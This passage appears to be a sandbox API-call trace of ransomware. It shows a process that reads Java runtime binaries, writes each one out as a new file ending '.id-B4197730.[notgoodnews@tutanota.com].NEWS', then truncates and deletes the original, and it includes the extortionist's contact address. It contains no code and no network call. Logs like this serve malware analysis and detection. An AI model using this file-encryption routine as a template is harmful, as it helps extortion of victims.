lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".doc") returned 4 [0092.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString=".docx") returned 5 [0092.735] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0092.735] lstrlenW (lpString=".pdf") returned 4 [0092.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString=".xls") returned 4 [0092.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString=".xlsx") returned 5 [0092.735] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0092.735] lstrlenW (lpString=".ppt") returned 4 [0092.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".zip") returned 4 [0092.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString=".rar") returned 4 [0092.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.735] lstrlenW (lpString=".bz2") returned 4 [0092.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.735] lstrlenW (lpString=".7z") returned 3 [0092.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.735] lstrlenW (lpString=".dbf") returned 4 [0092.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.736] lstrlenW (lpString=".1cd") returned 4 [0092.736] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0092.736] lstrlenW (lpString=".jpg") returned 4 [0092.736] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.736] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.736] lstrlenW (lpString="resource.dll") returned 12 [0092.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.736] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=15424) returned 1 [0092.736] CloseHandle (hObject=0x370) returned 1 [0092.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0092.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0092.737] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.737] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0092.737] GetLastError () returned 0x0 [0092.737] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0093.192] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0093.193] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.193] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.193] SetEndOfFile (hFile=0x364) returned 1 [0093.193] CloseHandle (hObject=0x364) returned 1 [0093.193] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.193] SetEndOfFile (hFile=0x370) returned 1 [0093.194] CloseHandle (hObject=0x370) returned 1 [0093.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.194] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString=".doc") returned 4 [0093.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString=".docx") returned 5 [0093.195] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0093.195] lstrlenW (lpString=".pdf") returned 4 [0093.195] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString=".xls") returned 4 [0093.195] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString=".xlsx") returned 5 [0093.195] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0093.195] lstrlenW (lpString=".ppt") returned 4 [0093.195] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString=".zip") returned 4 [0093.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString=".rar") returned 4 [0093.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString=".bz2") returned 4 [0093.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.195] lstrlenW (lpString=".7z") returned 3 [0093.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString=".dbf") returned 4 [0093.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString=".1cd") returned 4 [0093.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.195] lstrlenW (lpString=".jpg") returned 4 [0093.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString=".doc") returned 4 [0093.196] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString=".docx") returned 5 [0093.196] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0093.196] lstrlenW (lpString=".pdf") returned 4 [0093.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString=".xls") returned 4 [0093.196] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString=".xlsx") returned 5 [0093.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0093.196] lstrlenW (lpString=".ppt") returned 4 [0093.196] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString=".zip") returned 4 [0093.196] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString=".rar") returned 4 [0093.196] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.196] lstrlenW (lpString=".bz2") returned 4 [0093.196] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.196] lstrlenW (lpString=".7z") returned 3 [0093.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString=".dbf") returned 4 [0093.196] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString=".1cd") returned 4 [0093.196] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0093.196] lstrlenW (lpString=".jpg") returned 4 [0093.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.196] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0093.197] lstrlenW (lpString="ssvagent.exe") returned 12 [0093.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.197] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=70208) returned 1 [0093.197] CloseHandle (hObject=0x370) returned 1 [0093.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0093.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.197] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.198] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.198] GetLastError () returned 0x0 [0093.198] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11240, lpOverlapped=0x0) returned 1 [0093.201] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11250, lpOverlapped=0x0) returned 1 [0093.203] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.203] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.203] SetEndOfFile (hFile=0x364) returned 1 [0093.203] CloseHandle (hObject=0x364) returned 1 [0093.203] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.203] SetEndOfFile (hFile=0x370) returned 1 [0093.204] CloseHandle (hObject=0x370) returned 1 [0093.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.205] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0093.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.205] lstrlenW (lpString=".doc") returned 4 [0093.205] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.205] lstrlenW (lpString=".docx") returned 5 [0093.205] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0093.205] lstrlenW (lpString=".pdf") returned 4 [0093.205] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.205] lstrlenW (lpString=".xls") returned 4 [0093.205] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.205] lstrlenW (lpString=".xlsx") returned 5 [0093.205] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0093.205] lstrlenW (lpString=".ppt") returned 4 [0093.205] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.205] lstrlenW (lpString=".zip") returned 4 [0093.205] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.205] lstrlenW (lpString=".rar") returned 4 [0093.205] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.205] lstrlenW (lpString=".bz2") returned 4 [0093.205] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.205] lstrlenW (lpString=".7z") returned 3 [0093.206] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".dbf") returned 4 [0093.206] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".1cd") returned 4 [0093.206] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".jpg") returned 4 [0093.206] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".doc") returned 4 [0093.206] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0093.206] lstrlenW (lpString=".docx") returned 5 [0093.206] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0093.206] lstrlenW (lpString=".pdf") returned 4 [0093.206] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString=".xls") returned 4 [0093.206] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString=".xlsx") returned 5 [0093.206] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0093.206] lstrlenW (lpString=".ppt") returned 4 [0093.206] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".zip") returned 4 [0093.206] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString=".rar") returned 4 [0093.206] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0093.206] lstrlenW (lpString=".bz2") returned 4 [0093.206] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0093.206] lstrlenW (lpString=".7z") returned 3 [0093.206] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.206] lstrlenW (lpString=".dbf") returned 4 [0093.206] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0093.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.207] lstrlenW (lpString=".1cd") returned 4 [0093.207] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0093.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0093.207] lstrlenW (lpString=".jpg") returned 4 [0093.207] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0093.207] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.207] lstrlenW (lpString="sunec.dll") returned 9 [0093.207] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.208] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=135744) returned 1 [0093.208] CloseHandle (hObject=0x370) returned 1 [0093.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0093.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.208] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.208] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.208] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.208] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.208] GetLastError () returned 0x0 [0093.208] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x21240, lpOverlapped=0x0) returned 1 [0093.212] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x21250, lpOverlapped=0x0) returned 1 [0093.215] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.215] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe6, lpOverlapped=0x0) returned 1 [0093.215] SetEndOfFile (hFile=0x364) returned 1 [0093.215] CloseHandle (hObject=0x364) returned 1 [0093.215] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.215] SetEndOfFile (hFile=0x370) returned 1 [0093.217] CloseHandle (hObject=0x370) returned 1 [0093.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.217] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".doc") returned 4 [0093.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString=".docx") returned 5 [0093.218] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0093.218] lstrlenW (lpString=".pdf") returned 4 [0093.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString=".xls") returned 4 [0093.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString=".xlsx") returned 5 [0093.218] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0093.218] lstrlenW (lpString=".ppt") returned 4 [0093.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".zip") returned 4 [0093.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString=".rar") returned 4 [0093.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString=".bz2") returned 4 [0093.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.218] lstrlenW (lpString=".7z") returned 3 [0093.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".dbf") returned 4 [0093.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".1cd") returned 4 [0093.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".jpg") returned 4 [0093.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.218] lstrlenW (lpString=".doc") returned 4 [0093.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString=".docx") returned 5 [0093.219] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0093.219] lstrlenW (lpString=".pdf") returned 4 [0093.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString=".xls") returned 4 [0093.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString=".xlsx") returned 5 [0093.219] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0093.219] lstrlenW (lpString=".ppt") returned 4 [0093.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.219] lstrlenW (lpString=".zip") returned 4 [0093.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString=".rar") returned 4 [0093.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.219] lstrlenW (lpString=".bz2") returned 4 [0093.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.219] lstrlenW (lpString=".7z") returned 3 [0093.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.219] lstrlenW (lpString=".dbf") returned 4 [0093.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.219] lstrlenW (lpString=".1cd") returned 4 [0093.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 